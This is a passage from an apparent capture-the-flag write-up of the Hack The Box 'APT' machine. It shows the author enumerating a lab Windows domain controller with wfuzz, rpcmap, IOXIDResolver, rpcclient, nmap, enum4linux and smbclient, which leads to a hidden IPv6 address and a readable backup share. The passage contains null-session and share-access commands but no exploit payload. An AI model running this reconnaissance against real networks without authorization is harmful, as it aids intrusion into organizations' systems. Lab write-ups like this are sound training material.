class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ALL Find 8 links&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;url:http://10.10.10.213/index.html&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Remaining 8 | Find 0 URL in http://10.10.10.213/index.html&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;url:http://10.10.10.213/#&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Remaining 7 | Find 0 URL in http://10.10.10.213/#&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;url:http://10.10.10.213/services.html&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Remaining 6 | Find 0 URL in http://10.10.10.213/services.html&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;url:http://10.10.10.213/clients.html&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Remaining 5 | Find 0 URL in http://10.10.10.213/clients.html&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;url:http://10.10.10.213/about.html&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Remaining 4 | Find 0 URL in http://10.10.10.213/about.html&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;url:http://10.10.10.213/support.html&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Remaining 3 | Find 0 URL in http://10.10.10.213/support.html&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;url:http://10.10.10.213/news.html&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Remaining 2 | Find 0 URL in http://10.10.10.213/news.html&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;I did find an email address with a domain in it:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sales@gigantichosting.com&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;gigantichosting.com&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;I added it to my hosts file and visited the HTTP service to see whether anything changed. Then I used FFUF to brute-force subdomains. (There was no difference at all; this domain had no effect.)&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;wfuzz -c -w /usr/share/wordlists/SecLists-master/Discovery/DNS/bitquark-subdomains-top100000.txt -u http://10.10.10.213 -H &amp;#34;Host: FUZZ.gigantichosting.com&amp;#34; --hh 14879&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;I had now checked everything on port 80, so it was time to look at RPC.&lt;/p&gt;&#10;&lt;p&gt;Before looking at RPC, I checked the machine description.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0555.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It said this was an exceptionally difficult machine, and that RPC enumeration could reveal an IPv6 address which would then become the target for further penetration. If I had to discover absolutely everything on my own, I definitely wouldn&amp;rsquo;t be able to finish this machine. Just like before, when I run into something extremely difficult, I follow a writeup until I reach a point where I can continue independently. Some of the writeups I&amp;rsquo;ve seen were also created specifically as learning exercises. The important thing is to absorb the material and make it your own.&lt;/p&gt;&#10;&lt;p&gt;The next step in the writeup was to use rpcmap.py to find an entry point. I also tried the usual anonymous rpcclient login with a blank username and password, but got nowhere.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;span class="lnt"&gt;8&#10;&lt;/span&gt;&lt;span class="lnt"&gt;9&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;rpcclient:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Primarily used for SMB/CIFS services&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Commonly used in Windows domain environments&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Requires credentials&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;rpcmap.py/rpcdump.py:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Focuses on RPC endpoint enumeration&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Does not require credentials&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; Can discover more RPC interfaces&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Now that I had an entry point, I started looking for tutorials. The blogs below explain it very well.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://tenaka.gitbook.io/pentesting/enumeration/ldap-ad-dc/rpc" target="_blank" rel="noopener"&#10; &gt;https://tenaka.gitbook.io/pentesting/enumeration/ldap-ad-dc/rpc&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://www.cnblogs.com/yuantest/p/15738148.html#smbmsrpc" target="_blank" rel="noopener"&#10; &gt;https://www.cnblogs.com/yuantest/p/15738148.html#smbmsrpc&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://juggernaut-sec.com/ad-recon-msrpc/" target="_blank" rel="noopener"&#10; &gt;https://juggernaut-sec.com/ad-recon-msrpc/&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;I started experimenting.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;rpcmap.py &amp;#39;ncacn_ip_tcp:10.10.10.213&amp;#39;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;I was still following the hints from &lt;a class="link" href="https://juggernaut-sec.com/ad-recon-msrpc/" target="_blank" rel="noopener"&#10; &gt;https://juggernaut-sec.com/ad-recon-msrpc/&lt;/a&gt;. (I try to learn while avoiding the writeup as much as possible. Later on, I may encounter more services I&amp;rsquo;ve never seen before, and without a writeup this is the only way I could approach them.)&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0556.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It said to pay particular attention to 99FCFEC4-5260-101B-BBCB-00AA0021347A.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0557.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;That exact value appeared in my results as well.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0558.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0559.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;It fit the APT machine so perfectly that I almost wondered whether the post itself was a writeup. It wasn&amp;rsquo;t, though—it covered every method for attacking RPC. All of the links in that post were dead, so I searched for the project using the Python script&amp;rsquo;s name and found its repository.&lt;/p&gt;&#10;&lt;p&gt;&lt;a class="link" href="https://github.com/mubix/IOXIDResolver" target="_blank" rel="noopener"&#10; &gt;https://github.com/mubix/IOXIDResolver&lt;/a&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;python IOXIDResolver.py -t 10.10.10.213&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[*] Retrieving network interface of 10.10.10.213&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Address: apt&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Address: 10.10.10.213&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Address: dead:beef::b885:d62a:d679:573f&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Successfully reproduced.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0560.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;No problems—it was reachable. For convenience, I assigned it a domain name in my hosts file, though an IPv6 scan with nmap would also work.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0561.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0562.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Now the real work began.&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;Port 80&lt;/strong&gt; was no different. I decided not to brute-force it for the moment. I&amp;rsquo;d come back to that if I ran out of other options, since brute-forcing it was painfully slow.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0563.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;135 RPC&lt;/strong&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0564.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;rpcclient -U &amp;#34;&amp;#34; -N -c &amp;#39;enumdomusers;enumdomgroups;enumjobs;enumkey;enumports;enumprinters;enumprivs;enumtrust;enumforms;enumdrivers;quit&amp;#39; apt.htb&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0565.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Not a single permission was available.&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;389 LDAP&lt;/strong&gt;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0566.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;nmap -n -sV --script &amp;#34;ldap* and not brute&amp;#34; -p 389 -6 apt.htb&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;| dnsHostName: apt.htb.local&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;| ldapServiceName: htb.local:apt$@HTB.LOCAL&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;| subschemaSubentry: CN=Aggregate,CN=Schema,CN=Configuration,DC=htb,DC=local&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;| dsServiceName: CN=NTDS Settings,CN=APT,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=htb,DC=local&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;| namingContexts: DC=htb,DC=local&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;| namingContexts: CN=Configuration,DC=htb,DC=local&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;| namingContexts: CN=Schema,CN=Configuration,DC=htb,DC=local&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;| namingContexts: DC=DomainDnsZones,DC=htb,DC=local&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;| namingContexts: DC=ForestDnsZones,DC=htb,DC=local&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;| defaultNamingContext: DC=htb,DC=local&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;| schemaNamingContext: CN=Schema,CN=Configuration,DC=htb,DC=local&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;| configurationNamingContext: CN=Configuration,DC=htb,DC=local&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;| rootDomainNamingContext: DC=htb,DC=local&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;The domain was htb.local, so I needed to update the domain in my hosts file. Without authentication, I had no permissions.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0567.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;strong&gt;445 SMB&lt;/strong&gt;&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;enum4linux -a -u &amp;#34;&amp;#34; -p &amp;#34;&amp;#34; htb.local &amp;amp;&amp;amp; enum4linux -a -u &amp;#34;guest&amp;#34; -p &amp;#34;&amp;#34; htb.local&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;smbclient -U &amp;#39;%&amp;#39; -L //htb.local &amp;amp;&amp;amp; smbclient -U &amp;#39;guest%&amp;#39; -L //htb.local&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;span class="lnt"&gt;8&#10;&lt;/span&gt;&lt;span class="lnt"&gt;9&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;smbclient -U &amp;#39;%&amp;#39; -L //htb.local &amp;amp;&amp;amp; smbclient -U &amp;#39;guest%&amp;#39; -L //htb.local&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;Sharename Type Comment&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;--------- ---- -------&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;backup Disk&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;IPC$ IPC Remote IPC&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;NETLOGON Disk Logon server share&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#9;SYSVOL Disk Logon server share&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;htb.local is an IPv6 address -- no workgroup available&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[+] Attempting to map shares on htb.local&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;//htb.local/backup&#9;Mapping: OK Listing: OK Writing: N/A&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;//htb.local/IPC$&#9;Mapping: OK Listing: DENIED Writing: N/A&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[E] Can&amp;#39;t understand response:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;do_connect: Connection to apt.htb.local failed (Error NT_STATUS_UNSUCCESSFUL)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;//htb.local/NETLOGON&#9;Mapping: N/A Listing: N/A Writing: N/A&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;[E] Can&amp;#39;t understand response:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;do_connect: Connection to apt.htb.local failed (Error NT_STATUS_UNSUCCESSFUL)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;//htb.local/SYSVOL&#9;Mapping: N/A Listing: N/A Writing: N/A&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;crackmapexec smb htb.local&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;SMB htb.local 445 APT [*] Windows Server 2016 Standard 14393 x64 (name:APT) (domain:htb.local) (signing:True) (SMBv1:True)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB)&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;That was all the information I had. Based on the output, the accessible shares were backup and IPC$.&lt;/p&gt;&#10;&lt;p&gt;There was a 1 GB backup.zip inside backup. The download was too slow and disconnected immediately, and after that I tried accessing it several more times.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0568.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0569.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I couldn&amp;rsquo;t connect anymore. Restarting the machine fixed it. I started looking for an SMB download command that wouldn&amp;rsquo;t disconnect midway through.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;smbget -R smb://htb.local/backup # This requires an IP address instead of a domain name, so it fails&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;mount -t cifs //htb.local/backup/ 